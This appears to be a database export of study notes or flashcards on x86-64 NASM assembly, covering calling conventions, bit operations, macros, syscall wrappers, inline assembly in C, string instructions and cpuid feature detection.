function\n mov rdi, 7\n mov rsi, 5\n call difference text txt 2024-07-28 09:56:58.223086 0 +482 108 mov rdi, format_integral\n mov rsi, rax\n xor rax, rax\n call printf text txt 2024-07-28 09:56:58.244373 0 +483 108 ; use and print the results of area function\n mov xmm0, qword[radius]\n call area text txt 2024-07-28 09:56:58.265634 0 +484 108 mov rdi, format_floating\n mov rax, 1\n call printf text txt 2024-07-28 09:56:58.287468 0 +485 108 mov rsp, rbp\n pop rbp\n ret code txt 2024-07-28 09:56:58.307684 0 +486 109 *header.nasm*\nglobal pi text txt 2024-07-28 09:56:58.819708 0 +487 109 section .data\n pi dq 3.141592 text txt 2024-07-28 09:56:58.840129 0 +488 109 section .text\n ... code txt 2024-07-28 09:56:58.861452 0 +489 109 *main.nasm*>\nextern pi text txt 2024-07-28 09:56:58.88195 0 +490 109 section .text\n ... code txt 2024-07-28 09:56:58.904125 0 +491 110 * Following calling conventions are for System V AMD64 ABI:\n* For integral types, registers are `rdi`, `rsi`, `rdx`, `rcx`, `r8`, `r9` respectively, and additional arguments are passed via the stack and in reverse order so that we can pop off in the right order.\n* Function's return address `rip` is pushed on the stack, just after the arguments.\n* In function, then `rbp` is pushed, there maybe another 8 bytes needed to be pushed to align the stack in 16 bytes.\n* For floating point types, registers are `xmm0` to `xmm7`, additional arguments are passed via the stack but not with `push` instruction. Will be discussed later. text txt 2024-07-28 09:57:00.736016 0 +492 110 section .text\nglobal main text txt 2024-07-28 09:57:00.758648 0 +493 110 main:\nsection .data\n.first dq 1\n.second dq 2\n.third dq 3\n.forth dq 4\n.fifth dq 5\n.sixth dq 6\n.seventh dq 7\n.eighth dq 8\n.ninth dq 9\n.tenth dq 10 text txt 2024-07-28 09:57:00.779366 0 +494 110 section .text\npush rbp\nmov rbp, rsp text txt 2024-07-28 09:57:00.799977 0 +495 110 mov rdi, .first\nmov rsi, .second\nmov rdx, .third\nmov rcx, .forth\nmov r8, .fifth\nmov r9, .sixth\npush .tenth\npush .ninth\npush .eighth\npush .seventh\ncall func text txt 2024-07-28 09:57:00.821713 0 +496 110 sum:\nsection .text\n; first value on stack\n; 8 bytes rip pushed onto stack\npush rbp ; 8 bytes rbp pushed onto stack\nmov rbp, rsp text txt 2024-07-28 09:57:00.842312 0 +497 110 xor rax, rax text txt 2024-07-28 09:57:00.862574 0 +498 110 add rax, rdi\nadd rax, rsi\nadd rax, rdx\nadd rax, rcx\nadd rax, r8\nadd rax, r9 text txt 2024-07-28 09:57:00.882179 0 +499 110 push rbx ; preserve callee register\nxor rbx, rbx text txt 2024-07-28 09:57:00.903515 0 +500 110 mov rbx, qword[rbp+16] ; first value on stack: + rip + rbp\nadd rax, rbx ; seventh text txt 2024-07-28 09:57:00.924188 0 +501 110 mov rbx, qword[rbp+24]\nadd rax, rbx ; eighth text txt 2024-07-28 09:57:00.947083 0 +502 110 mov rbx, qword[rbp+32]\nadd rax, rbx ; ningth text txt 2024-07-28 09:57:00.968663 0 +503 110 mov rbx, qword[rbp+40]\nadd rax, rbx ; tenth text txt 2024-07-28 09:57:00.990739 0 +504 110 pop rbx ; restore callee register text txt 2024-07-28 09:57:01.010844 0 +505 110 mov rsp, rbp\npop rbp\nret code txt 2024-07-28 09:57:01.031367 0 +506 111 * `shl` and `sal` shift left but `sal` has sign extension.\n* `shr` and `sar` shift right but `sar` has sign extension. text txt 2024-07-28 09:57:02.393316 0 +507 111 section .data\nnumber1 db 6 ; 00000110\nnumber2 db 10 ; 00001010 text txt 2024-07-28 09:57:02.413804 0 +508 111 section .text\nglobal main text txt 2024-07-28 09:57:02.434062 0 +509 111 main:\npush rbp\nmov rbp, rsp text txt 2024-07-28 09:57:02.454157 0 +510 111 mov rax, number1\nxor rax, number2 ; 00001100 text txt 2024-07-28 09:57:02.475294 0 +511 111 mov rax, number1\nor rax, number2 ; 00001110 text txt 2024-07-28 09:57:02.497593 0 +512 111 mov rax, number1\nand rax, number2 ; 00000010 text txt 2024-07-28 09:57:02.51931 0 +513 111 mov rax, number1\nnot rax ; 11111001 text txt 2024-07-28 09:57:02.540572 0 +514 111 mov rax, number1\nshl rax, 5 ; 11000000 text txt 2024-07-28 09:57:02.561441 0 +515 111 mov rax, number1\nshr rax, 3 ; 00000001 text txt 2024-07-28 09:57:02.581626 0 +516 111 mov rax, number1\nsal rax, 2 ; 00001100 text txt 2024-07-28 09:57:02.603197 0 +517 111 mov rax, number1\nsar rax, 2 ; 00000011 text txt 2024-07-28 09:57:02.623122 0 +518 111 mov rax, number1\nrol rax, 3 ; 00011000 text txt 2024-07-28 09:57:02.643734 0 +519 111 mov rax, number1\nror rax, 3 ; 10000001 text txt 2024-07-28 09:57:02.664848 0 +520 111 mov rsp, rbp\npop rbp\nret code txt 2024-07-28 09:57:02.685078 0 +521 112 section .data\n variable dq 0 text txt 2024-07-28 09:57:03.458595 0 +522 112 section .text\n global main text txt 2024-07-28 09:57:03.479668 0 +523 112 main:\n push rbp\n mov rbp, rsp text txt 2024-07-28 09:57:03.500222 0 +524 112 ; set bit 4\n bts qword [variable], 4 text txt 2024-07-28 09:57:03.521752 0 +525 112 ; set bit 7\n bts qword [variable], 7 text txt 2024-07-28 09:57:03.543001 0 +526 112 ; set bit 8\n bts qword [variable], 8 text txt 2024-07-28 09:57:03.564486 0 +527 112 ; reset bit 7\n btr qword [variable], 7 text txt 2024-07-28 09:57:03.584852 0 +528 112 xor rax, rax\n leave\n ret code txt 2024-07-28 09:57:03.605189 0 +529 113 section .data\n variable dq 0 text txt 2024-07-28 09:57:04.287458 0 +530 113 section .text\n global main text txt 2024-07-28 09:57:04.307549 0 +531 113 main:\n push rbp\n mov rbp, rsp text txt 2024-07-28 09:57:04.327611 0 +532 113 ; reset higher memory to use lower memory for comparison\n xor rdi, rdi\n mov rax, 8 text txt 2024-07-28 09:57:04.349108 0 +533 113 ; check if 8th bit is set by checking carry flag\n ; 1 if bit is set and 0 otherwise\n bt [variable], rax\n setc dil text txt 2024-07-28 09:57:04.370671 0 +534 113 xor rax, rax\n leave\n ret code txt 2024-07-28 09:57:04.391612 0 +535 114 extern printf text txt 2024-07-28 09:57:05.369059 0 +536 114 ; multiply value v by shifting it n times\n%define multiply(v, n) sal v, n text txt 2024-07-28 09:57:05.389998 0 +602 124 %IF CREATE\n mov rdi, filename\n call create\n mov qword[fd], rax ; save file descriptor\n %ENDIF text txt 2024-07-28 09:57:13.856677 0 +1258 251 return NULL;\n} code txt 2024-07-28 09:58:53.590739 0 +537 114 ; having two arguments\n%macro print 2\n section .data\n %%detail db %1, 0\n %%format_string db "%s: %i", 10, 0\n section .text\n xor rax, rax\n mov rdi, %%format_string\n mov rsi, %%detail\n mov rdx, %2\n call printf\n%endmacro text txt 2024-07-28 09:57:05.411541 0 +538 114 section .data\n number dq 42 text txt 2024-07-28 09:57:05.432328 0 +539 114 section .text\n global main text txt 2024-07-28 09:57:05.453217 0 +540 114 main:\n push rbp\n mov rbp, rsp text txt 2024-07-28 09:57:05.474631 0 +541 114 print "value is", number\n multiply(number, 2)\n print "multiplication result", number text txt 2024-07-28 09:57:05.495211 0 +542 114 xor rax, rax\n leave\n ret code txt 2024-07-28 09:57:05.515138 0 +543 115 objdump -M intel -d macro code txt 2024-07-28 09:57:05.75783 0 +544 116 section .text\nglobal write text txt 2024-07-28 09:57:06.3184 0 +545 116 ; preconditions:\n; address of string be set to rsi\n; length of string be set to rdx\nwrite:\npush rbp\nmov rbp, rsp text txt 2024-07-28 09:57:06.339983 0 +546 116 mov rax, 1 ; write system call number\nmov rdi, 1 ; stdout\nsyscall text txt 2024-07-28 09:57:06.362114 0 +547 116 xor rax, rax\nleave\nret code txt 2024-07-28 09:57:06.38427 0 +548 117 section .text\nglobal read text txt 2024-07-28 09:57:06.916024 0 +549 117 ; preconditions:\n; address of buffer be set to rsi\n; length of buffer be set to rdx\nread:\npush rbp\nmov rbp, rsp text txt 2024-07-28 09:57:06.936462 0 +550 117 mov rax, 0 ; read system call number\nmov rdi, 0 ; stdin text txt 2024-07-28 09:57:06.958587 0 +551 117 xor rax, rax\nleave\nret code txt 2024-07-28 09:57:06.979413 0 +552 118 section .text\nglobal read text txt 2024-07-28 09:57:07.939765 0 +553 118 print:\npush rbp\nmov rbp, rsp text txt 2024-07-28 09:57:07.961054 0 +554 118 push r12 ; callee saved text txt 2024-07-28 09:57:07.981741 0 +555 118 xor rdx, rdx ; character counter\nmov r12, rdi ; string address text txt 2024-07-28 09:57:08.002686 0 +556 118 .counter:\ncmp byte[r12], 0\nje .print text txt 2024-07-28 09:57:08.024761 0 +557 118 inc rdx\ninc r12\njmp .counter text txt 2024-07-28 09:57:08.045817 0 +558 118 .print:\ncmp rdx, 0\nje .exit text txt 2024-07-28 09:57:08.068537 0 +559 118 mov rsi, rdi ; string address\n; rdx holds string length\nmov rax, 1 ; write\nmov rdi, 1 ; stdout\nsyscall text txt 2024-07-28 09:57:08.089896 0 +560 118 .exit:\npop r12\nxor rax, rax\nleave\nret code txt 2024-07-28 09:57:08.110892 0 +561 119 section .text\nglobal read text txt 2024-07-28 09:57:09.913383 0 +562 119 ; \\\\pre rdi address of string placeholder\n; \\\\pre rsi maximum characters to read\n; \\\\post rax error code\nread:\nsection .data\nnewline db 0xa text txt 2024-07-28 09:57:09.93418 0 +563 119 section .bss\n.buffer resb 1 ; hold 1 character from input text txt 2024-07-28 09:57:09.954173 0 +564 119 section .text\npush rbp\nmov rbp, rsp text txt 2024-07-28 09:57:09.974742 0 +565 119 push r12 ; callee saved\npush r13 ; callee saved\npush r14 ; callee saved text txt 2024-07-28 09:57:09.995296 0 +566 119 mov r12, rdi ; input string address\nmov r13, rsi ; max count\nxor r14, r14 ; character counter text txt 2024-07-28 09:57:10.015684 0 +567 119 .read:\nmov rax, 0 ; read\nmov rdi, 1 ; stdin\nlea rsi, [.buffer] ; input address\nmov rdx, 1 ; characters to read\nsyscall text txt 2024-07-28 09:57:10.036532 0 +568 119 mov al, [.buffer] ; check if reached NL\ncmp al, byte[newline]\nje .check_exit text txt 2024-07-28 09:57:10.057601 0 +569 119 cmp al, 97 ; check if input character is lower than 'a'\njl .read ; ignore this and read next character text txt 2024-07-28 09:57:10.079419 0 +570 119 cmp al, 122 ; check if input character is greater than 'z'\njg .read ; ignore this and read next character text txt 2024-07-28 09:57:10.099974 0 +571 119 inc r14 ; increment counter text txt 2024-07-28 09:57:10.121042 0 +572 119 cmp r14, r13 ; check if number of characters reached maximum\nja .read ; don't put input charater into buffer\n; but keep reading from stdin to read newline text txt 2024-07-28 09:57:10.141948 0 +573 119 mov byte[r12], al ; put input character into buffer\ninc r12 ; point to next character placeholder in buffer\njmp .read ; read next input character text txt 2024-07-28 09:57:10.16512 0 +574 119 .check_exit\ncmp r14, 0 ; check if anything was read\nja .exit_success text txt 2024-07-28 09:57:10.186259 0 +575 119 mov rax, 1 ; return 1 when failed to read anything\njmp .exit text txt 2024-07-28 09:57:10.207331 0 +576 119 .exit_success\nxor rax, rax ; return 0 when read at least 0 character text txt 2024-07-28 09:57:10.229164 0 +577 119 .exit\ninc r12 ; counter null character\nmov byte[r12], 0 ; close string by putting null at the end\npop r14 ; restore for callee\npop r13 ; restore for callee\npop r12 ; restore for callee text txt 2024-07-28 09:57:10.251652 0 +578 119 leave\nret code txt 2024-07-28 09:57:10.272551 0 +579 120 `/usr/include/asm/unistd_64.h` text txt 2024-07-28 09:57:10.498537 0 +580 121 `/usr/include/asm-generic/fcntl.h` text txt 2024-07-28 09:57:10.698254 0 +581 122 By appending `q` to the number. text txt 2024-07-28 09:57:11.0211 0 +582 122 section .data\n O_CREATE equ 00000100q code txt 2024-07-28 09:57:11.04315 0 +583 123 section .data\n CONDITION equ 1 text txt 2024-07-28 09:57:11.705559 0 +584 123 section .text\n global main text txt 2024-07-28 09:57:11.726675 0 +585 123 main:\n push rbp\n mov rbp, rsp text txt 2024-07-28 09:57:11.74665 0 +586 123 %IF CONDITION\n xor rdi, rdi\n%ELSE\n mov rdi, 1\n%ENDIF text txt 2024-07-28 09:57:11.767917 0 +587 123 leave\n ret code txt 2024-07-28 09:57:11.790574 0 +588 124 section .data\n CREATE equ 1 ; use for conditional assembly\n NR_create equ 85 ; create system call text txt 2024-07-28 09:57:13.558273 0 +589 124 section .text\n global create text txt 2024-07-28 09:57:13.578947 0 +590 124 ; \\\\pre rdi address of filename string\n; \\\\post rax error code\ncreate:\n push rbp\n mov rbp, rsp text txt 2024-07-28 09:57:13.59929 0 +591 124 mov rax, NR_create\n mov rsi, S_IRUSR | S_IWUSR\n syscall text txt 2024-07-28 09:57:13.619928 0 +592 124 leave\n ret code txt 2024-07-28 09:57:13.64105 0 +593 124 section .data\n CREATE equ 1 ; use for conditional assembly\n NR_create equ 85 ; create system call text txt 2024-07-28 09:57:13.661517 0 +594 124 section .text\n global create text txt 2024-07-28 09:57:13.682687 0 +595 124 ; \\\\pre rdi file descriptor\n; \\\\post rax error code\ncreate:\n push rbp\n mov rbp, rsp text txt 2024-07-28 09:57:13.703883 0 +596 124 mov rax, NR_create\n mov rsi, S_IRUSR | S_IWUSR\n syscall text txt 2024-07-28 09:57:13.725045 0 +597 124 leave\n ret code txt 2024-07-28 09:57:13.746086 0 +598 124 extern create\nextern close text txt 2024-07-28 09:57:13.768933 0 +599 124 section .text\n global main text txt 2024-07-28 09:57:13.790602 0 +600 124 main:\n section .data\n fd dq 0 ; to hold file descriptor text txt 2024-07-28 09:57:13.812063 0 +601 124 section .text\n push rbp\n mov rbp, rsp text txt 2024-07-28 09:57:13.834436 0 +603 124 %IF CLOSE\n mov rdi, qword[fd] ; file descriptor\n call close\n %ENDIF code txt 2024-07-28 09:57:13.878435 0 +604 125 section .data\n CREATE equ 1 ; use for conditional assembly text txt 2024-07-28 09:57:15.214442 0 +605 125 section .text\n global create text txt 2024-07-28 09:57:15.235973 0 +606 125 create:\n push rbp\n mov rbp, rsp text txt 2024-07-28 09:57:15.25528 0 +607 125 leave\n ret code txt 2024-07-28 09:57:15.275577 0 +608 125 extern create\nextern close\nextern write text txt 2024-07-28 09:57:15.296807 0 +609 125 section .text\n global main text txt 2024-07-28 09:57:15.318807 0 +610 125 main:\n section .data\n fd dq 0 ; to hold file descriptor text txt 2024-07-28 09:57:15.340349 0 +611 125 section .text\n push rbp\n mov rbp, rsp text txt 2024-07-28 09:57:15.363865 0 +612 125 %IF CREATE\n mov rdi, filename\n call create\n mov qword[fd], rax ; save file descriptor\n %ENDIF text txt 2024-07-28 09:57:15.3856 0 +613 125 %IF WRITE\n mov rdi, qword[fd] ; file descriptor\n mov rsi, text ; address of string\n mov rdx, qword[length] ; length of string\n call write\n %ENDIF text txt 2024-07-28 09:57:15.408332 0 +614 125 %IF CLOSE\n mov rdi, qword[fd] ; file descriptor\n call close\n %ENDIF code txt 2024-07-28 09:57:15.430053 0 +615 126 section .data\n CREATE equ 1 ; use for conditional assembly text txt 2024-07-28 09:57:16.78818 0 +616 126 section .text\n global create text txt 2024-07-28 09:57:16.808868 0 +617 126 create:\n push rbp\n mov rbp, rsp text txt 2024-07-28 09:57:16.830289 0 +618 126 leave\n ret code txt 2024-07-28 09:57:16.850679 0 +619 126 extern create\nextern close\nextern write text txt 2024-07-28 09:57:16.871131 0 +620 126 section .text\n global main text txt 2024-07-28 09:57:16.893566 0 +621 126 main:\n section .data\n fd dq 0 ; to hold file descriptor text txt 2024-07-28 09:57:16.913731 0 +622 126 section .text\n push rbp\n mov rbp, rsp text txt 2024-07-28 09:57:16.933937 0 +623 126 %IF CREATE\n mov rdi, filename\n call create\n mov qword[fd], rax ; save file descriptor\n %ENDIF text txt 2024-07-28 09:57:16.956512 0 +624 126 %IF WRITE\n mov rdi, qword[fd] ; file descriptor\n mov rsi, text ; address of string\n mov rdx, qword[length] ; length of string\n call write\n %ENDIF text txt 2024-07-28 09:57:16.97697 0 +625 126 %IF CLOSE\n mov rdi, qword[fd] ; file descriptor\n call close\n %ENDIF code txt 2024-07-28 09:57:16.998279 0 +626 127 code txt 2024-07-28 09:57:17.196071 0 +627 128 code txt 2024-07-28 09:57:17.438187 0 +628 129 code txt 2024-07-28 09:57:17.67755 0 +629 130 code txt 2024-07-28 09:57:17.899789 0 +630 131 code txt 2024-07-28 09:57:18.089625 0 +631 132 * `rdi`: argc or number of arguments\n* `rsi`: argv or address of array each, cell is an 8bytes of address to an argument string text txt 2024-07-28 09:57:18.344454 0 +632 133 extern printf text txt 2024-07-28 09:57:19.187646 0 +633 133 section .data\n fmt db "%s", 10, 0 text txt 2024-07-28 09:57:19.208224 0 +634 133 section .text\n global main text txt 2024-07-28 09:57:19.229111 0 +635 133 main:\n push rbp\n mov rbp, rsp text txt 2024-07-28 09:57:19.249354 0 +636 133 mov r12, rdi\n mov r13, rsi\n xor r14, r14 text txt 2024-07-28 09:57:19.270838 0 +637 133 .arg:\n mov rdi, fmt\n mov rsi, qword[r13 + r14 * 8]\n call printf text txt 2024-07-28 09:57:19.291561 0 +638 133 inc r14\n cmp r14, r12\n jl .arg text txt 2024-07-28 09:57:19.312931 0 +639 133 leave\n ret code txt 2024-07-28 09:57:19.333578 0 +640 134 info registers rdi rsi rsp\nx/1xg \nx/s
\nx/s
\nx/s
code txt 2024-07-28 09:57:19.641413 0 +641 135 section .text\n\tglobal sum text txt 2024-07-28 09:57:20.518991 0 +642 135 sum:\n push rbp\n mov rbp, rsp text txt 2024-07-28 09:57:20.539904 0 +643 135 mov rax, rdi\n add rax, rsi text txt 2024-07-28 09:57:20.559537 0 +644 135 leave\n ret code txt 2024-07-28 09:57:20.58008 0 +645 135 nasm -f elf64 -g -F dwarf sum.asm code txt 2024-07-28 09:57:20.601633 0 +646 135 #include text txt 2024-07-28 09:57:20.621639 0 +647 135 extern int sum(int, int); text txt 2024-07-28 09:57:20.643339 0 +648 135 int main(void)\n{\n int result = sum(4, 2);\n printf("%i\\\\n", result);\n} code txt 2024-07-28 09:57:20.664093 0 +649 135 gcc -g -o program main.c sum.o\n./program code txt 2024-07-28 09:57:20.68519 0 +650 136 There are two types of inline assembly: **basic** and **extended**. text txt 2024-07-28 09:57:20.960434 0 +651 136 Compilers will not optimize assembly parts of the program, so using inline assembly is not advices.\nThere will be no error checking on inline assembly code. text txt 2024-07-28 09:57:20.982393 0 +652 137 Instructions should be terminated by `;`.\n`-mintel` compiler option is required.\nSwitching to Intel assembly syntax is required as the first argument of `__asm__`. text txt 2024-07-28 09:57:21.479796 0 +653 137 int main(void)\n{\n __asm__(\n ".intel_syntax noprefix;"\n "xor rax, rax;"\n );\n} code txt 2024-07-28 09:57:21.499739 0 +654 137 gcc -o program main.c -masm=intel -no-pie code txt 2024-07-28 09:57:21.520803 0 +655 138 General syntax of extended inline assembly is as follows: text txt 2024-07-28 09:57:22.566474 0 +656 138 __asm__(\n assembler code\n : output operands\n : input operands\n : list of clobbered registers\n); code txt 2024-07-28 09:57:22.58775 0 +657 138 * After the assembler code, additional and optional information is used.\n* Instruction orders must be respected. text txt 2024-07-28 09:57:22.608006 0 +658 138 __asm__(\n ".intel_syntax noprefix;"\n "mov rbx, rdx;"\n "imul rbx, rcx;"\n "mov rax, rbx;"\n :"=a"(eproduct)\n :"d"(x), "c"(y)\n :"rbx"\n); text txt 2024-07-28 09:57:22.628942 0 +659 138 printf("The extended inline product is %i\\\\n", eproduct); code txt 2024-07-28 09:57:22.650026 0 +660 138 `a`, `d`, `c` are register constraints, and they map to the registers `rax`, `rdx`, `rcx`, respectively.\n`:"=a"(eproduct)` means that the output will be in `rax`, and `rax` will refer to the variable `eproduct`. Register `rdx` refers to `x`, and `rcx` refers to `y`, which are the input variables.\n`rbx` is considered clobbered in the code and will be restored to its original value, because it was declared in the list of clobbering registers. text txt 2024-07-28 09:57:22.670989 0 +661 138 a -> rax, eax, ax, al\nb -> rbx, ebx, bx, bl\nc -> rcx, ecx, cx, cl\nd -> rdx, edx, dx, dl\nS -> rsi, esi, si\nD -> rdi, edi, di\nr -> any register code txt 2024-07-28 09:57:22.690885 0 +662 139 section .data\n length equ 95\n newline db 10 text txt 2024-07-28 09:57:23.530296 0 +663 139 section .bss\n buffer1 resb length\n buffer2 resb length text txt 2024-07-28 09:57:23.551396 0 +664 139 section .text\n global main text txt 2024-07-28 09:57:23.57303 0 +665 139 main:\n push rbp\n mov rbp, rsp text txt 2024-07-28 09:57:23.593429 0 +666 139 ; fill buffer with ascii letters using simple loop\n mov rax, 32\n mov rdi, buffer1\n mov rcx, length\n.next1:\n mov byte[rdi], al\n inc rdi\n inc al\n loop .next text txt 2024-07-28 09:57:23.614431 0 +667 139 leave\n ret code txt 2024-07-28 09:57:23.634666 0 +668 140 section .data\n length equ 95\n newline db 10 text txt 2024-07-28 09:57:24.39787 0 +669 140 section .bss\n buffer1 resb length\n buffer2 resb length text txt 2024-07-28 09:57:24.418793 0 +670 140 section .text\n global main text txt 2024-07-28 09:57:24.440732 0 +671 140 main:\n push rbp\n mov rbp, rsp text txt 2024-07-28 09:57:24.461694 0 +672 140 ; fill buffer with ascii 0 using loop and stosb instruction\n mov rax, 48\n mov rdi, buffer1\n mov rcx, length\n.next2:\n stosb\n loop .next2 text txt 2024-07-28 09:57:24.481446 0 +673 140 leave\n ret code txt 2024-07-28 09:57:24.502741 0 +674 141 section .data\n length equ 95\n newline db 10 text txt 2024-07-28 09:57:25.173615 0 +675 141 section .bss\n buffer1 resb length\n buffer2 resb length text txt 2024-07-28 09:57:25.194764 0 +676 141 section .text\n global main text txt 2024-07-28 09:57:25.215501 0 +677 141 main:\n push rbp\n mov rbp, rsp text txt 2024-07-28 09:57:25.23582 0 +678 141 ; fill buffer with ascii 1 using rep stosb instruction without a loop\n mov rax, 49\n mov rdi, buffer1\n mov rcx, length\n rep stosb text txt 2024-07-28 09:57:25.257902 0 +679 141 leave\n ret code txt 2024-07-28 09:57:25.279501 0 +680 142 section .data\n length equ 95\n newline db 10 text txt 2024-07-28 09:57:26.268586 0 +681 142 section .bss\n buffer1 resb length\n buffer2 resb length text txt 2024-07-28 09:57:26.289343 0 +682 142 section .text\n global main text txt 2024-07-28 09:57:26.310517 0 +683 142 main:\n push rbp\n mov rbp, rsp text txt 2024-07-28 09:57:26.330861 0 +684 142 ; copy buffer1 to buffer2 without a loop\n mov rsi, buffer1 ; source\n mov rdi, buffer2 ; destination\n mov rcx, length\n rep movsb text txt 2024-07-28 09:57:26.351954 0 +685 142 ; reverse copy the buffer1 into buffer2 without a loop\n mov rax, 48 ; fill buffer2 with ascii 0\n mov rdi, buffer2 ; we don't increment rdi with stosb\n mov rcx, length ; we don't decrement rcx or loop with stosb\n rep stosb text txt 2024-07-28 09:57:26.373775 0 +686 142 lea rsi, [buffer1 + length - 4]\n lea rdi, [buffer2 + length]\n mov rcx, 27 ; copy only 27 characters\n std ; std sets DF, cld clears DF\n rep movsb text txt 2024-07-28 09:57:26.393745 0 +687 142 leave\n ret code txt 2024-07-28 09:57:26.414178 0 +688 143 When using `movsb`, the content of `DF` (the direction flag) is taken into account.\nWhen `DF=0`, `rsi` and `rdi` are increased by 1, pointing to the next higher memory address.\nWhen `DF=1`, `rsi` and `rdi` are decreased by 1, pointing to the next lower memory address.\nThis means that in our example with `DF=1`, `rsi` needs to point to the address of the highest memory address to be copied and decrease from there. In addition, `rdi` needs to point to the highest destination address and decrease from there.\nThe intention is to “walk backward” when copying, that is, decreasing `rsi` and `rdi` with every loop.\n**NOTE**: `rsi` and `rdi` both are decreased; you cannot use the `DF` to increase one register and decrease another (reversing the string). text txt 2024-07-28 09:57:27.483504 0 +689 143 section .data\n length equ 95\n newline db 10 text txt 2024-07-28 09:57:27.5052 0 +690 143 section .bss\n buffer1 resb length\n buffer2 resb length text txt 2024-07-28 09:57:27.52708 0 +691 143 section .text\n global main text txt 2024-07-28 09:57:27.548351 0 +692 143 main:\n push rbp\n mov rbp, rsp text txt 2024-07-28 09:57:27.569081 0 +693 143 ; reverse copy the buffer1 into buffer2 without a loop\n mov rax, 48 ; fill buffer2 with ascii 0\n mov rdi, buffer2 ; we don't increment rdi with stosb\n mov rcx, length ; we don't decrement rcx or loop with stosb\n rep stosb text txt 2024-07-28 09:57:27.590301 0 +694 143 lea rsi, [buffer1 + length - 4]\n lea rdi, [buffer2 + length]\n mov rcx, 27 ; copy only 27 characters\n std ; std sets DF, cld clears DF which reverses direction\n rep movsb ; with DF set, decrements rsi and rdi until rcx reaches 0 text txt 2024-07-28 09:57:27.612147 0 +695 143 leave\n ret code txt 2024-07-28 09:57:27.632593 0 +696 144 Put the address of the first (source) string in `rsi`, the address of the second string (destination) in `rdi`, and the string length in `rcx`. Just to be sure, we clear the direction flag, `DF`, with `cld`. So, we walk forward in the strings. text txt 2024-07-28 09:57:29.116777 0 +697 144 The instruction `cmpsb` compares two bytes and sets the status flag `ZF` to `1` if the two compared bytes are equal or to `0` if the 2 bytes are not equal. `rcx` is adjusted only at the end of a loop, which was never completed, so we have to adjust `rcx` (decrease it with 1). The resulting position is returned to main in `rax`. text txt 2024-07-28 09:57:29.138713 0 +698 144 We will use repe, a version of `rep`, meaning “repeat while equal.” As before, `cmpsb` sets `ZF` according to the comparison, and `ZF=1` means the bytes are equal. As soon as `cmpsb` sets `ZF` equal to `0`, the `repe` loop is ended, and `rcx` can be used to compute the position where the differing character appeared. If the strings are completely the same, then `rcx` will be `0` and `ZF` will be `1`. After `repe`, the instruction `je` tests if `ZF` equals `1`. If `ZF` is `1`, the strings are equal; if `0`, the strings are not equal. We use `rcx` to calculate the differing position, so there’s no need to adjust `rcx`, because `repe` decreases `rcx` first in every loop. text txt 2024-07-28 09:57:29.161013 0 +699 144 section .data\n length equ 95\n newline db 10 text txt 2024-07-28 09:57:29.18332 0 +700 144 section .bss\n buffer1 resb length\n buffer2 resb length text txt 2024-07-28 09:57:29.203988 0 +701 144 section .text\n global main text txt 2024-07-28 09:57:29.225987 0 +702 144 main:\n push rbp\n mov rbp, rsp text txt 2024-07-28 09:57:29.246544 0 +703 144 ; method 1\n;=====================\n lea rdi, [buffer1]\n lea rsi, [buffer2]\n mov rdx, length text txt 2024-07-28 09:57:29.267461 0 +704 144 cld ; clear DF flag text txt 2024-07-28 09:57:29.288747 0 +705 144 .str_loop:\n cmpsb\n jne .notequal\n loop .str_loop text txt 2024-07-28 09:57:29.310148 0 +706 144 xor rax, rax text txt 2024-07-28 09:57:29.331489 0 +707 144 ; method 2\n;=====================\n.notequal:\n mov rax, buffer2\n dec rcx text txt 2024-07-28 09:57:29.352006 0 +708 144 sub rax, rcx text txt 2024-07-28 09:57:29.373413 0 +709 144 mov rcx, rdx\n cld text txt 2024-07-28 09:57:29.394941 0 +710 144 repe cmpsb\n je .equals text txt 2024-07-28 09:57:29.415839 0 +711 144 mov rax, buffer2\n sub rax, rcx text txt 2024-07-28 09:57:29.437651 0 +712 144 leave\n ret code txt 2024-07-28 09:57:29.459322 0 +713 145 The scanning works similar to comparing, but with `repne`, “repeat while not equal,” instead of `repe`. We also use `lodsb` and load the byte at address `rsi` into `rax`. The instruction `scasb` compares the byte in `al` with the byte pointed to by `rdi` and sets (1=equal) or resets (0=not equal) the `ZF` flag accordingly. The instruction `repne` looks at the status flag and continues if `ZF = 0`; that is, the 2 bytes are not equal. If the 2 bytes are equal, `scasb` sets `ZF` to `1`, the `repne` loop stops, and `rcx` can be used to compute the position of the byte in the string. text txt 2024-07-28 09:57:30.407879 0 +714 145 section .data\n length equ 95\n newline db 10 text txt 2024-07-28 09:57:30.42861 0 +715 145 section .bss\n buffer1 resb length\n buffer2 resb length text txt 2024-07-28 09:57:30.448462 0 +716 145 section .text\n global main text txt 2024-07-28 09:57:30.470146 0 +717 145 main:\n push rbp\n mov rbp, rsp text txt 2024-07-28 09:57:30.491262 0 +718 145 mov rcx, rdx\n lodsb\n cld\n repne scasb\n jne .charnotfound text txt 2024-07-28 09:57:30.513007 0 +719 145 mov rax, length text txt 2024-07-28 09:57:30.532278 0 +720 145 .charnotfound:\n sub rax, rcx text txt 2024-07-28 09:57:30.554179 0 +721 145 leave\n ret code txt 2024-07-28 09:57:30.573987 0 +722 146 By appending an `h` at the end of a number: text txt 2024-07-28 09:57:30.861658 0 +723 146 2000000h code txt 2024-07-28 09:57:30.881089 0 +724 147 You first put a specific parameter in `eax`, then execute the instruction `cpuid`, and finally check the returned value in `ecx` and `edx`.\nIndeed, `cpuid` uses 32-bit registers. text txt 2024-07-28 09:57:31.626271 0 +725 147 Based on processor manual, SSE bits are as follows: text txt 2024-07-28 09:57:31.64711 0 +726 147 * **sse**: edx:25\n* **sse2**: edx:26\n* **sse3**: ecx:1\n* **ssse3**: ecx:1 and ecx:8\n* **sse4.1**: ecx:19\n* **sse4.2**: ecx:20 text txt 2024-07-28 09:57:31.667649 0 +727 147 section .text\n global main text txt 2024-07-28 09:57:31.688848 0 +728 147 main:\n push rbp\n mov rbp, rsp text txt 2024-07-28 09:57:31.709317 0 +729 147 mov eax, 1\n cpuid text txt 2024-07-28 09:57:31.73137 0 +730 147 leave\n ret code txt 2024-07-28 09:57:31.753704 0 +731 148 extern printf text txt 2024-07-28 09:57:34.550918 0 +732 148 section .data\n fmt_sse42 db "sse4_2", 10, 0\n fmt_sse41 db "sse4_1", 10, 0\n fmt_ssse3 db "ssse3", 10, 0\n fmt_sse3 db "sse3", 10, 0\n fmt_sse2 db "sse2", 10, 0\n fmt_sse db "sse", 10, 0\n fmt_sep db ",", 10, 0 text txt 2024-07-28 09:57:34.572084 0 +733 148 section .text\n global main text txt 2024-07-28 09:57:34.592347 0 +734 148 main:\n push rbp\n mov rbp, rsp text txt 2024-07-28 09:57:34.613333 0 +735 148 mov eax, 1\n cpuid\n mov r12, rcx ; store the half result of cpuid\n mov r13, rdx ; store the half result of cpuid text txt 